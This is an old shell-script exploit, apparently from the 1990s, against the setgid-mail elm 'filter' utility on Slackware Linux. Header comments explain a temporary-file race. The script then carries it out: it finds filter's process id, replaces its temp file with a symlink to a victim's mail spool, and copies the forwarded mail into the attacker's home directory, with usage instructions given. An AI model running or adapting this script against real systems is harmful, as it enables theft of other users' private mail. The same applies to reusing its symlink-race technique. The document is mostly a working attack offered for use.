#!/bin/sh
# The elm filter under linux runs sugrp mail, thus allowing it to freely
#read and write from users mail spools. It is only through the integrity
#of its code that the security of linux's mail system is protected; and in
#this respect it falls short. The failure of the filter program to properly
#handle temporary files allows a user to read or write to any user's mail
#spool, a significant security hole.
# The specific problem that is exploited in this hole is the way filter
#uses a temporary file to store the input to it, and then subsequently send
#it back out according to the filter. Because of the modularity of the
#coding, in the main filter.c, the temporary file is opened, and then written
#to; after which it is closed. The mailmessage function is then called, with
#the purpose of forwarding that mail, written to the temporary file, to
#whatever destination is specified in the filter. At the start of this
#process, the temporary file is opened, and the contents of it are dumped
#to the mail spool of the user the mail is being forwarded to.
# At any point after the file has been initially opened by the main filter
#function, since the user running filter has permissions on that temp file,
#it can be rm'd. The temp file existing can then be replaced with a symbolic
#link to any file that group mail has read permissions on. When it is opened
#in the mailmessage function, the symbolic link is followed and whatever file
#that was pointed to will be read in, and the contents forwarded to the user
#specified in the mail spool.
#
# The complete exploits are shown below:
#
# Program: filter, an elm utility
#Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter
# Requirements: account on machine
# Security Compromise: user can read any mail spool readable by grp mail.
# (usually everything, sometimes not root)
# Author: Dave M. (davem@cmu.edu)
# Synopsis: filter writes out the mail to be forwarded to a
# temporary file, which is then closed and reopened;
# if when the temporary file is reopened it is a
# symlink to a mail spool, filter will proceed
# to forward the contents of that file as if it was
# the original message.
#
# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
#
# Usage: fread.sh victimsusername
#
# Contents will be stored in ~/victimsusername.mail
#
# Dave M. (davem@cmu.edu)
#
cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
cat << _EOF_ >> /tmp/fread-msg.tmp
From: Dave
To: $LOGNAME
Subject: Filter Exploit
_EOF_
echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=
cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail